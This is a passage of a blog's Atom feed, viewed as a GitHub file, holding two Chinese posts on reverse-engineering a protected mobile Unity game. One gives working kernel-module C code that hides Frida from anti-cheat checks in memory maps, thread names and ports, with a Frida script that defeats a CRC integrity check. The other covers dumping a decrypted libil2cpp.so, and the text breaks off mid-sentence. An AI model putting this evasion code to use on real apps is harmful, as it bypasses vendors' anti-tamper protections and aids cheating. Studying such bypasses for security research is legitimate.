-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
497 lines (261 loc) · 256 KB
/
Copy pathatom.xml
File metadata and controls
497 lines (261 loc) · 256 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>24k的小站</title>
<link href="https://24kblog.top/atom.xml" rel="self"/>
<link href="https://24kblog.top/"/>
<updated>2026-04-24T07:05:06.917Z</updated>
<id>https://24kblog.top/</id>
<author>
<name>24kcsplus</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>使用KPM来伪造环境以绕过Frida检测</title>
<link href="https://24kblog.top/posts/1942360428/"/>
<id>https://24kblog.top/posts/1942360428/</id>
<published>2026-04-22T02:43:33.000Z</published>
<updated>2026-04-24T07:05:06.917Z</updated>
<content type="html"><![CDATA[<h2 id="前言">前言</h2><p>这篇文章是填上次遇到的坑接着讲的,主要内容就是绕过 Frida 检测,不过这次主要是伪造环境来绕过 Frida 检测,而且是在内核态的。</p><p>KPM 是一种运行在内核空间内的模块,可以让代码运行在内核空间中,类似于 Loadable Kernel Modules(LKM),这是这篇文章主要要讲的东西,就是 KPM</p><h2 id="初始化项目">初始化项目</h2><pre><code class="language-shell">git clone https://github.com/bmax121/KernelPatch.git</code></pre><p>将代码克隆下来后,需要配置交叉编译的编译器,这里我们可以从 <a href="https://developer.arm.com/downloads/-/arm-gnu-toolchain-downloads">ARM 开发者官网</a> 找到并下载,然后配置好环境变量</p><pre><code class="language-shell">cd KernelPatch/kpms/demo-hellomake</code></pre><p>如果编译没有什么问题,就差不多了</p><h2 id="编写-KPM-模块">编写 KPM 模块</h2><p>我们要伪造一个没有 Frida 的环境,主要要关注几个 Frida 特征,maps 及 内存、线程名和端口</p><h3 id="maps-及-内存">maps 及 内存</h3><p>使用 Frida 注入时,在 <code>/proc/[pid]/maps</code> 中会有一个内存映射信息,是 Frida 注入的 frida-agent 模块,以及内存中会有 frida 特征,比如 <code>frida-agent</code> <code>frida</code> <code>gum-js-loop</code> <code>GumJS</code> <code>gmain</code> 等</p><p>我们需要 hook 一个内核函数叫 <code>show_map_vma</code>,这个函数是 Linux 系统下有程序读取 <code>/proc/[pid]/maps</code> 时,负责将相关信息写入这个文件的函数,只需要 hook 这个函数并改变它的行为,用户态的程序就无法察觉</p><p>如何 hook 呢,参考 <a href="https://github.com/bmax121/KernelPatch/blob/main/doc/zh-CN/module.md">KPM 开发文档</a> 就可以知道,要先使用 <code>kallsyms_lookup_name</code> 函数找到要 hook 的地址,然后使用内联 hook 的 <code>hook_wrap</code> 函数即可 hook</p><p>同时,这个 <code>hook_wrap</code> 还有类型化便捷封装,即使用 <code>hook_wrap0</code> – <code>hook_wrap12</code> 这样的函数,就不用再传入 <code>argno</code> 即被 hook 函数参数数量这个参数,在 <code>hook.h</code> 中这些包装函数是这样的:</p><pre><code class="language-c">static inline hook_err_t hook_wrap2(void *func, hook_chain2_callback before, hook_chain2_callback after, void *udata){ return hook_wrap(func, 2, before, after, udata);}</code></pre><p>根据上面的内容,我们可以写出相关安装 hook 的代码:</p><pre><code class="language-c">show_map_vma = (void *) kallsyms_lookup_name("show_map_vma");if (show_map_vma) { hook_err_t err = hook_wrap2(show_map_vma, before_show_map_vma, after_show_map_vma, NULL);}</code></pre><p>在安装 hook 后就需要考虑怎么 hook,我们通过传入 <code>hook_wrap2</code> 的两个函数来修改这个内核函数调用前后的行为</p><p><code>show_map_vma</code> 的源码是这样的:</p><pre><code class="language-c">static voidshow_map_vma(struct seq_file *m, struct vm_area_struct *vma){const struct path *path;const char *name_fmt, *name;vm_flags_t flags = vma->vm_flags;unsigned long ino = 0;unsigned long long pgoff = 0;unsigned long start, end;dev_t dev = 0;if (vma->vm_file) {const struct inode *inode = file_user_inode(vma->vm_file);dev = inode->i_sb->s_dev;ino = inode->i_ino;pgoff = ((loff_t)vma->vm_pgoff) << PAGE_SHIFT;}start = vma->vm_start;end = vma->vm_end; // 输出内存区间范围,标志等show_vma_header_prefix(m, start, end, flags, pgoff, dev, ino);get_vma_name(vma, &path, &name, &name_fmt); // 获取内存区间 name // 输出路径相关if (path) {seq_pad(m, ' ');seq_path(m, path, "\n");} else if (name_fmt) {seq_pad(m, ' ');seq_printf(m, name_fmt, name);} else if (name) {seq_pad(m, ' ');seq_puts(m, name);}seq_putc(m, '\n');}</code></pre><p>这个函数的第一个参数 <code>m</code> 就包含了这段内存中映射的所有文件,那么我们就需要把相关特征的对应行给去掉,这里我们采用的是调用前先记录这个参数中 <code>count</code> 的值,然后在返回前检测是否包含关键词,如果是,则将 <code>count</code> 改为原先记录的值,具体流程参考下图:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dE1JNzlRV0RUZk41OTV0QmluTDVoMVlvMGp5VWJrM2l2Yzg9" alt="" data-caption="" loading="lazy"></p><p>具体源码如下,主要参考了 <a href="https://www.zskkk.cn/posts/31406/#maps-%E6%96%87%E4%BB%B6%E7%89%B9%E5%BE%81%E4%B8%8E%E5%86%85%E5%AD%98%E7%89%B9%E5%BE%81">这篇文章</a></p><pre><code class="language-c">// 内核环境下的 memmem 实现static void *memmem_local(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen){ if (!haystack || !needle || haystacklen < needlelen || needlelen == 0) return NULL; for (size_t i = 0; i <= haystacklen - needlelen; ++i) { if (memcmp((const char *)haystack + i, needle, needlelen) == 0) return (void *)((const char *)haystack + i); } return NULL;}// 检查 seq_file 缓冲区中是否包含敏感关键词static int is_hiden_module(struct seq_file *m){ if (!m || !m->buf || m->count == 0) return false; // 需要隐藏的关键词列表 static const char *keywords[] = { "frida-agent", "frida", "gum-js-loop", "GumJS", "gmain", NULL }; for (int i = 0; keywords[i] != NULL; ++i) { if (memmem_local(m->buf, m->count, keywords[i], strlen(keywords[i]))) return 1; } return 0;}void before_show_map_vma(hook_fargs2_t *args, void *udata){ struct seq_file *m = (struct seq_file *)args->arg0; args->local.data0 = 0; if (m && m->buf) { // 记录 seq_file 中的count,在 after hook 中设置 count 为记录值 args->local.data0 = m->count; } }void after_show_map_vma(hook_fargs2_t *args, void *udata){ struct seq_file *m = (struct seq_file *)args->arg0; if (m && m->buf) { if (args->local.data0 && is_hiden_module(m)) { // is_hiden_module 查找 frida-agent 等字符串 pr_info("inject-hide: maps hide -> frida-agent \n"); m->count = args->local.data0; // 恢复原来的 count 值,下一次写入缓冲区时将从此开始,覆盖此前写入的含frida的部分 } }}void frida_hide_install(void){ show_map_vma = (void *) kallsyms_lookup_name("show_map_vma"); if (show_map_vma) { hook_err_t err = hook_wrap2(show_map_vma, before_show_map_vma, after_show_map_vma, NULL); }}void frida_hide_uninstall(void){ if (show_map_vma) { unhook(show_map_vma); show_map_vma = 0; }}</code></pre><h3 id="线程名">线程名</h3><p>Frida 注入后,会在 <code>/proc/[pid]/task/*/status</code> 下有相关痕迹</p><p>而这个文件通常是由 <code>proc_task_name</code> (4.18及以上)/<code>task_name</code> (4.18以下) 负责,里面会调用 <code>__get_task_comm</code> (4.18-6.12内核版本)/<code>get_task_comm</code> (其它内核版本)来获取线程信息,我们可以在它返回到 <code>proc_task_name</code> 之前来将关键词替换为空格</p><p>内核源码如下(此处版本为 4.4.302):</p><pre><code class="language-c">static inline void task_name(struct seq_file *m, struct task_struct *p){char *buf;size_t size;char tcomm[sizeof(p->comm)];int ret;get_task_comm(tcomm, p);seq_puts(m, "Name:\t");size = seq_get_buf(m, &buf);ret = string_escape_str(tcomm, buf, size, ESCAPE_SPACE | ESCAPE_SPECIAL, "\n\\");seq_commit(m, ret < size ? ret : -1);seq_putc(m, '\n');}extern char *__get_task_comm(char *to, size_t len, struct task_struct *tsk);#define get_task_comm(buf, tsk) ({\BUILD_BUG_ON(sizeof(buf) != TASK_COMM_LEN);\__get_task_comm(buf, sizeof(buf), tsk);\})char *__get_task_comm(char *buf, size_t buf_size, struct task_struct *tsk){task_lock(tsk);strncpy(buf, tsk->comm, buf_size);task_unlock(tsk);return buf;}</code></pre><p>KPM 代码如下:</p><pre><code class="language-c">char *(*__get_task_comm)(char *buf, size_t buf_size, struct task_struct *tsk) = 0; // 为了后续能够调用,定义成函数指针变量int __get_task_comm_hook_status = 0;int is_hiden_comm(const char *comm){ // 需要隐藏的线程名关键词列表 static const char *keywords[] = { "gmain", "gum-js-loop", "gdbus", "pool-frida", "linjector", }; for (int i = 0; i < sizeof(keywords) / sizeof(keywords[0]); i++) { if (strstr(comm, keywords[i])) { return 1; } } return 0;}void __attribute__((optimize("O0"))) after_get_task_comm(hook_fargs3_t *args, void *udata){ char *comm = (char *)args->arg0; size_t comm_buf_len = (size_t)args->arg1; if (comm && comm_buf_len) { if (is_hiden_comm(comm)){ pr_info("inject-hide: get_task_comm hide -> %s\n", comm); size_t hide_len = strlen(comm); for(size_t i = 0; i < hide_len; i++) { comm[i] = ' '; } } }}void frida_hide_install(void){ show_map_vma = (void *) kallsyms_lookup_name("show_map_vma"); if (show_map_vma) { hook_err_t err = hook_wrap2(show_map_vma, before_show_map_vma, after_show_map_vma, NULL); } __get_task_comm = (void *) kallsyms_lookup_name("__get_task_comm"); // 注意这里需要按照自己的内核版本来修改 if (__get_task_comm) { hook_err_t err = hook_wrap3(__get_task_comm, 0, after_get_task_comm, 0); __get_task_comm_hook_status = err ? 0 : 1; }}</code></pre><h3 id="端口">端口</h3><ul><li><p>frida 注入后在目标进程监听 27042 端口,等待外部工具(如 frida-server 或 frida-client)连接</p></li><li><p>只有名为 adbd 的进程会主动连接这个 27042 端口。</p></li></ul><p>adbd 是 Android 设备上的调试守护进程,只有它会通过 adb 端口转发机制连接 frida-agent 监听的 27042 端口,其他普通应用或进程不会主动连接 27042 端口。</p><p>所以我们需要限制一下,只允许 adbd 连接这个端口,这样用户态的程序也无法检测到端口了</p><p>KPM 代码如下</p><pre><code class="language-c">struct sockaddr_in { short sin_family; unsigned short sin_port; unsigned int sin_addr; char sin_zero[8];};unsigned long (*__arch_copy_from_user)(void *to, const void __user *from, unsigned long n) = 0;int connect_hook_status = 0;u16 ntohs(u16 port) { return port >> 8 | port << 8;}void before_connect(hook_fargs3_t *args, void *udata) { struct sockaddr_in addr_kernel; const char __user *addr = (typeof(addr))syscall_argn(args, 1); if (!addr) return; __arch_copy_from_user(&addr_kernel, addr, sizeof(struct sockaddr_in)); u16 port = ntohs(addr_kernel.sin_port); if (port == 27042) { char comm[16]; __get_task_comm(comm, sizeof(comm), current); pr_warn("inject-hide: connect to frida-agent, comm: %s, port: %d\n", comm, port); if (!strstr(comm, "adbd")) { // 只允许 adbd 连接 frida pr_warn("inject-hide: connect to frida-agent blocked, comm: %s, port: %d\n", comm, port); args->skip_origin = 1; // 跳过原始的 connect 函数 args->ret = -1; // 返回 -1 表示拒绝连接 } }}</code></pre><h3 id="完整性校验">完整性校验</h3><p>这部分的代码我没有看过,使用的是 Yuuki 写的 <a href="https://bbs.kanxue.com/thread-288041-1.htm">mem_crc</a>,参考了他的 <a href="https://yuuki.cool/posts/crccheck/">这篇文章</a></p><p>我在前期逆向这个游戏的时候,拿 unidbg 来查看了 syscall 调用情况,发现会打开 <a href="http://libc.so">libc.so</a>,且 Frida 只 attach 不会闪退,而 spawn 时 hook 会闪退,猜测是有完整性校验,所以参考了上面提到的文章</p><p>Frida 进行 hook 时会修改一些函数入口处的值,程序可以通过 CRC 或其它方式来检测内存中对应 so 的 .text 段是否与磁盘中的 so 相同,以此校验内存中的指令是否被篡改</p><p>不过如果将内存中的 so dump 下来,然后用某种方式让程序读取磁盘中的 so 为 dump 下来的 so,就可以让程序认为指令没有被修改,从而绕过检测</p><p>使用 mem_crc 模块中通过 getcwd 函数控制模块的功能,我们可以很轻松的在合适时机进行重定向,来绕过检测</p><pre><code class="language-typescript">function dumpModule(soName = '', output_path = '') { // dump so var module = Process.getModuleByName(soName); if (module === null) { console.log("[!] Module not found: " + soName); return; } console.log("[*] Found module: " + module.name); console.log("[*] Base address: " + module.base); console.log("[*] Size: " + module.size); // 读取内存内容 try { var buffer = module.base.readByteArray(module.size); console.log("[*] Successfully read " + module.size + " bytes"); if (buffer === null) { console.log("[!] Failed to read memory"); return; } // 保存到文件 var file = new File(output_path, "wb"); file.write(buffer); file.close(); console.log("[*] Dump saved to: " + output_path); } catch (e) { console.log("[!] Error: " + e); }}function callGetcwd(buf = '') { // write cmd var getcwd = new NativeFunction( Process.getModuleByName("libc.so").getExportByName('getcwd'), 'pointer', ['pointer', 'int'] ); var buffer_size = 256; var buffer; if (buf !== '') { buffer = Memory.allocUtf8String(buf); buffer_size = buf.length + 1; } else { buffer = Memory.alloc(buffer_size); } try { getcwd(buffer, buffer_size); } catch (e) { console.log("[!] Error: " + e); return null; }}function hook_dlopen(soName = '') { var linkerName = Process.pointerSize === 4 ? "linker" : "linker64"; let linkerModule = Process.getModuleByName(linkerName); let Address = linkerModule.base.add(0x51C5C) // 这里是 linker dlopen 的地址 Interceptor.attach(Address, { onEnter: function (args) { var libraryName = args[0].readCString(); // console.log(libraryName); if (libraryName && libraryName.indexOf(soName) !== -1) { console.log("[*] 检测到目标库 " + soName); dumpModule("libc.so", "/storage/emulated/0/Documents/libc.so") callGetcwd("MAP:10213:/apex/com.android.runtime/lib64/bionic/libc.so:/storage/emulated/0/Documents/libc.so") // il(); // 用完用命令清 echo CMD:CLEAR:TYPE:1 > /dev/yuuki_misc } } });}hook_dlopen("libFairGuard.so")</code></pre><p>不过 Frida 部分与上面提到的文章中不同的是,由于此样本负责检测的 so 文件不是由 libc 的 dlopen 打开的,所以在 Frida 里 Hook 这个 dlopen会找不到加载时机,所以我这里改成了 hook linker 中的 dlopen,代码中的偏移可能会因为版本等原因不同,可能需要自己找地址</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dVpVTkliWGVsRXowcmMweGg3L2QxWGR6bjQ3aDFXMjVwRVE9" alt="" data-caption="" loading="lazy"></p><h2 id="尾声">尾声</h2><p>这篇文章写完,这个游戏的逆向也算是告一段落了,不过这个样本也确实是有待探索,比如说 FairGuard 是怎么加密解密 <a href="http://libil2cpp.so">libil2cpp.so</a> 的,还有他们是怎么处理,来去除被保护的 so 的导入导出表,又怎么在运行时正常加载需要的函数</p><p>绕过之后的 hook,主要还是使用 frida-il2cpp-bridge 来进行的</p><p>KPM 的编写也有很大学问,我这篇文章主要还是参考 zsk 和 Yuuki 大佬的,给大佬跪了</p><h2 id="参考文章">参考文章</h2><ol><li><a href="https://www.zskkk.cn/posts/31406">Apatch内核模块搭建到隐藏Frida注入</a></li><li><a href="https://yuuki.cool/posts/crccheck/">绕过Inline hook的CRC校验</a></li></ol>]]></content>
<summary type="html">本文介绍如何通过KPM(内核补丁模块)伪造环境绕过Frida检测,重点讲解在内核态隐藏Frida特征,包括maps、内存、线程名和端口。通过hook内核函数show_map_vma,修改/proc/pid/maps输出,实现用户态无法察觉Frida的存在。</summary>
</entry>
<entry>
<title>记一次手机Unity游戏逆向:处理被加密的libil2cpp.so</title>
<link href="https://24kblog.top/posts/557806528/"/>
<id>https://24kblog.top/posts/557806528/</id>
<published>2026-04-03T10:19:36.000Z</published>
<updated>2026-04-14T05:27:02.836Z</updated>
<content type="html"><![CDATA[<h2 id="前言">前言</h2><p>距离上次逆向 Unity 游戏有些时间了,这次遇到个棘手的样本,所以文章更新的时间就完了很多。这篇文章主要讲怎么处理被加密的 <a href="http://libil2cpp.so">libil2cpp.so</a> 以使用 il2cppdumper 来恢复符号。</p><p>后面还会写一篇文章来讲讲怎么用 KPM 来绕过这个样本的 Frida 检测</p><p><strong>本项目的初衷是研究 Unity 游戏加载流程与游戏安全,请勿将其用于非法盈利等任何商业用途,所有获取的附件请在的24小时内自行删除。</strong></p><h2 id="准备">准备</h2><ul><li><a href="https://github.com/BryanGIG/PADumper">PADumper</a></li><li><a href="https://github.com/Perfare/Il2CppDumper">il2cppdumper</a></li></ul><h2 id="从内存中-Dump">从内存中 Dump</h2><p>这次遇到的这个样本是对 <a href="http://libil2cpp.so">libil2cpp.so</a> 进行了加密的,使用的是杭州的一个反作弊公司的产品。如果直接用 il2cppdumper 来加载安装包里的 <a href="http://libil2cpp.so">libil2cpp.so</a> 和 global-metadata.dat,则会提示被加密。</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=YWk3bmZPYVhtb3pNWU9VWktPcitCOVllOUJJeGpLa1p5S2pn" alt="" data-caption="" loading="lazy"></p><p>除了无法使用 il2cppdumper 之外,直接使用 IDA 打开也会有严重的性能问题,你会看到左下角分析地址在一点一点的蠕动(</p><p>面对这种运行时解密的 SO 通常有两种解决办法,一种是逆向解密的算法,然后静态解密,一种是通过动态运行,然后直接从内存中获得解密后的部分。</p><p>对于本文的样本而言,使用静态解密要比动态提取难得多,一个是不好逆向出解密的算法,还有一个就是对于解密的程序也是上了强度的(负责解密的 SO 文件用 IDA 打开也是蠕动哈哈)</p><p>所以我们就使用动态的方式来获取解密后的 <a href="http://libil2cpp.so">libil2cpp.so</a> 和 global-metadata.dat</p><p>从内存中 Dump 的步骤非常简单,只需要使用 PADumper 这个工具就可以了,使用这个程序的效果跟直接使用 dd 命令从 <code>/proc/[pid]/mem</code> 里获取内存数据差不多,不过这个还继承了 SoFixer 的功能,dump 的同时也可以修复 SO 文件以便使用 IDA 分析</p><p>还有就是这个也可以顺带 dump global-metadata.dat</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=S2JLdkhhTEF1QVVDQ2g2Z293WHYvNnpucUVXRTRyZ0lMWUdM" alt="" data-caption="" loading="lazy"></p><p>如图所示,只需要选择对应的进程,需要 dump 的 SO 名字,再勾选这两个选项,即可成功 dump 解密后的 <a href="http://libil2cpp.so">libil2cpp.so</a></p><h2 id="使用-Il2cppdumper-恢复符号表">使用 Il2cppdumper 恢复符号表</h2><p>照理来说解密后的这两个关键文件 dump 下来后一般 il2cppdumper 就能直接生成 dump.cs 等文件了,为什么还需要单独开一节讲呢?</p><p>哈哈😅,作者在这里踩了一个很大的坑,以至于在这步上卡了几乎一个月之久,期间一度以为是某 Guard 会在加载后重加密,疯狂鞭打 Claude Code(希望 AI 大人觉醒后不要因为这件事把我淦了(((),到最后与没加密过的 <a href="http://libil2cpp.so">libil2cpp.so</a> 对比后才发现 dump 下来的是可以用 il2cppdumper 的,只是 il2cppdumper 识别版本错误会报错而已,强制指定版本为 29 就能正常使用了。</p><p>使用 dump 下来的 <a href="http://libil2cpp.so">libil2cpp.so</a> 直接使用 il2cppdumper 会检测到是 dump 下来的,让你输入基址</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cXY1aWsvUkl2dHlsWlBIWXIrUWJuOGVuVzNkcGx5Rm5POFU9" alt="" data-caption="" loading="lazy"></p><p>本文样本中,输入基址后无法搜索到两个关键指针,需要手动找,这里作者是通过对照另一个样本来找的</p><p>我这里先用 il2cppdumper 来 dump 一个没有被加密的 <a href="http://libil2cpp.so">libil2cpp.so</a>(样本详见<a href="https://24kblog.top/posts/2611483955/">这里</a>),来找到对应的两个指针的位置,然后一直查看交叉引用,最后找到 il2cpp_init 这个函数</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aDhUNkpVK2prRVpqbUVEajQyMFZOdTdvTWhxQTNQVS9iaWs9" alt="" data-caption="" loading="lazy"></p><p>刚好本文样本从内存 dump 下来之后导出表基本上都恢复了(导入表没有,大部分导入函数已经绑定了,IDA 里只能看到绝对地址),刚好就可以找到 il2cpp_init 这个函数</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=enhjazRCbWxHMEFoTzlWVzdzT2tjc1YxZGNVZjNvSVZZUjA9" alt="" data-caption="" loading="lazy"></p><blockquote><p>加载 dump 的 so 后建议在 Edit -> Segments -> Rebase program 里设置基址,方便 IDA 处理</p></blockquote><p>调用的第二个函数就是调用加载 CodeRegistration 和 MetadataRegistration 这两个指针函数的函数,点进去伪代码可能不明显(IDA 貌似也没有反编译出来),对比一下汇编就能看出来了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=M0VBZ1FnR25BcXBmeTBhNytFcVo3UlVQVDFWSXRpS0kwb3c9" alt="" data-caption="" loading="lazy"></p><p><code>4.0</code> <code>mscorlib.dll</code> <code>__Generated</code> 之类的特征非常明显,仔细对照一下就能找到使用这两个指针的函数就是 sub_70868D5748</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aXM0R3hEMjJVWmNoOFNNalgyOCs4d29hTFVsSjMwNGdXRjA9" alt="" data-caption="" loading="lazy"></p><p>CodeRegistration 和 MetadataRegistration 就直接出来了,分别是 sub_7086989528 函数的第一个参数和第二个参数,输入进 il2cppdumper 即可 dump</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cXY1aWsvUkl2dHlsWlBIWXIrUWJuOGVuVzNkcGx5Rm5POFU9" alt="" data-caption="" loading="lazy"></p><p>后面的就是分析代码咯,不过光是讲到这内容有点过于少了,上面的内容可以找找 il2cpp 源码的对应部分,顺便看看 il2cppdumper 是怎么处理的 <s>(其实是写到这里感觉没什么东西可以写了,后面的人类含量可能会有点低,请做好准备)</s></p><h2 id="il2cpp-源码分析">il2cpp 源码分析</h2><p>il2cpp 是 Unity 的一项技术,将 Unity C# 脚本先转换为 IL 中间语言,然后再将 IL 翻译为 CPP,最后编译。原生使得 Unity 游戏运行更快,不过我们逆向不需要知道它是如何转换和编译的,因为我们分析的是成品,分析这类最重要的应该是分析它二进制文件的结构和加载过程。</p><blockquote><p>下面提到的例子版本都是 2021.3.45f2 的,因为本文逆向的例子版本就是这个。完整的 il2cpp 源码需要自行下载对应版本的 Unity 编辑器,然后在 <code><编辑器版本>/Editor/Data/il2cpp</code> 下找到对应源码</p></blockquote><p>上面的例子我们是从 il2cpp_init 这个函数开始入手的,从这个函数名字我们就可以看出,这个是初始化运行时的,它在 <code>il2cpp-api.cpp</code> 中,长这样:</p><pre><code class="language-cpp">int il2cpp_init(const char* domain_name){ // Use environment's default locale setlocale(LC_ALL, ""); return Runtime::Init(domain_name);}</code></pre><p>这和前面的例子可以对上,第一个函数是 <code>setlocale</code>,第二个则是正式初始化的函数 <code>Runtime::Init</code>,在 <code>vm/Runtime.cpp</code> 中</p><p>跳转到这个函数就可以看到调用了初始化各种东西的函数,包括线程、Codegen、GC 等等,也可以看到初始化类型系统等等,这个也和我们反编译时看到的相同</p><pre><code class="language-cpp">bool Runtime::Init(const char* domainName) { os::FastAutoLock lock(&s_InitLock); IL2CPP_ASSERT(s_RuntimeInitCount >= 0); if (s_RuntimeInitCount++ > 0) return true; SanityChecks(); os::Initialize(); os::Locale::Initialize(); MetadataAllocInitialize(); // NOTE(gab): the runtime_version needs to change once we // will support multiple runtimes. // For now we default to the one used by unity and don't // allow the callers to change it. s_FrameworkVersion = framework_version_for("v4.0.30319"); os::Image::Initialize(); os::Thread::Init();#if !IL2CPP_TINY && !IL2CPP_MONO_DEBUGGER il2cpp::utils::DebugSymbolReader::LoadDebugSymbols();#endif#if IL2CPP_HAS_OS_SYNCHRONIZATION_CONTEXT // Has to happen after Thread::Init() due to it needing a COM apartment on Windows il2cpp::os::SynchronizationContext::Initialize();#endif // This should be filled in by generated code. IL2CPP_ASSERT(g_CodegenRegistration != NULL); g_CodegenRegistration(); if (!MetadataCache::Initialize()) { s_RuntimeInitCount--; return false; } Assembly::Initialize(); gc::GarbageCollector::Initialize(); // Thread needs GC initialized Thread::Initialize(); register_allocator(il2cpp::utils::Memory::Malloc); memset(&il2cpp_defaults, 0, sizeof(Il2CppDefaults)); const Il2CppAssembly* assembly = Assembly::Load("mscorlib.dll"); const Il2CppAssembly* assembly2 = Assembly::Load("__Generated"); // It is not possible to use DEFAULTS_INIT_TYPE for managed types for which we have a native struct, if the // native struct does not map the complete managed type. // Which is the case for: Il2CppThread, Il2CppAppDomain, Il2CppCultureInfo, Il2CppReflectionProperty, // Il2CppDateTimeFormatInfo, Il2CppNumberFormatInfo il2cpp_defaults.corlib = Assembly::GetImage(assembly); il2cpp_defaults.corlib_gen = Assembly::GetImage(assembly2); DEFAULTS_INIT(object_class, "System", "Object"); DEFAULTS_INIT(void_class, "System", "Void"); DEFAULTS_INIT_TYPE(boolean_class, "System", "Boolean", bool); DEFAULTS_INIT_TYPE(byte_class, "System", "Byte", uint8_t); DEFAULTS_INIT_TYPE(sbyte_class, "System", "SByte", int8_t); DEFAULTS_INIT_TYPE(int16_class, "System", "Int16", int16_t); DEFAULTS_INIT_TYPE(uint16_class, "System", "UInt16", uint16_t); DEFAULTS_INIT_TYPE(int32_class, "System", "Int32", int32_t); DEFAULTS_INIT_TYPE(uint32_class, "System", "UInt32", uint32_t); DEFAULTS_INIT(uint_class, "System", "UIntPtr"); DEFAULTS_INIT_TYPE(int_class, "System", "IntPtr", intptr_t); DEFAULTS_INIT_TYPE(int64_class, "System", "Int64", int64_t); DEFAULTS_INIT_TYPE(uint64_class, "System", "UInt64", uint64_t); DEFAULTS_INIT_TYPE(single_class, "System", "Single", float); DEFAULTS_INIT_TYPE(double_class, "System", "Double", double); DEFAULTS_INIT_TYPE(char_class, "System", "Char", Il2CppChar); DEFAULTS_INIT(string_class, "System", "String"); DEFAULTS_INIT(enum_class, "System", "Enum"); DEFAULTS_INIT(array_class, "System", "Array"); DEFAULTS_INIT(value_type_class, "System", "ValueType");......</code></pre><p><code>g_CodegenRegistration</code> 是外部提供的,而这个外部则是由 <code><编辑器版本>/Editor/Data/il2cpp/build/deploy/Unity.IL2CPP.dll</code> 通过玩家的 Unity C# 来转换生成的。</p><p>(AI说的)生成内容如下:</p><ul><li>Il2CppCodeRegistration.cpp — 定义 g_CodeRegistration 结构体</li><li>Il2CppMetadataRegistration.cpp — 定义 g_MetadataRegistration 结构体</li><li>Il2CppCodeGenRegistration.cpp — 包含 s_Il2CppCodeGenRegistration 函数,调用 il2cpp_codegen_register(&g_CodeRegistration, &g_MetadataRegistration)</li></ul><p>使用 dnSpy 来反编译就可以看到生成逻辑了:</p><pre><code class="language-csharp">// Token: 0x0600001C RID: 28 RVA: 0x0000258E File Offset: 0x0000078Epublic static string CodeRegistrationTableName(ReadOnlyContext context){return context.Global.Services.ContextScope.ForMetadataGlobalVar("g_CodeRegistration");}// Token: 0x0600001D RID: 29 RVA: 0x000025AC File Offset: 0x000007ACprivate static void WriteCodeRegistration(SourceWritingContext context, TableInfo invokerTable, TableInfo reversePInvokeWrappersTable, TableInfo genericMethodPointerTable, TableInfo genericAdjustorThunkTable, UnresolvedVirtualsTablesInfo virtualCallTables, TableInfo interopDataTable, TableInfo windowsRuntimeFactoryTable, ReadOnlyCollection<string> codeGenModules, CodeRegistrationWriter.CodeRegistrationWriterMode mode){using (ICppCodeStream writer = context.CreateProfiledSourceWriterInOutputDirectory("Il2CppCodeRegistration.cpp")){if (reversePInvokeWrappersTable.Count > 0){writer.WriteLine(reversePInvokeWrappersTable.GetDeclaration());}if (genericMethodPointerTable.Count > 0){writer.WriteLine(genericMethodPointerTable.GetDeclaration());}if (genericAdjustorThunkTable.Count > 0){writer.WriteLine(genericAdjustorThunkTable.GetDeclaration());}if (invokerTable.Count > 0){writer.WriteLine(invokerTable.GetDeclaration());}if (virtualCallTables.MethodPointersInfo.Count > 0){writer.WriteLine(virtualCallTables.MethodPointersInfo.GetDeclaration());}if (interopDataTable.Count > 0){writer.WriteLine(interopDataTable.GetDeclaration());}if (windowsRuntimeFactoryTable.Count > 0){writer.WriteLine(windowsRuntimeFactoryTable.GetDeclaration());}if (mode == CodeRegistrationWriter.CodeRegistrationWriterMode.AllAssemblies || mode == 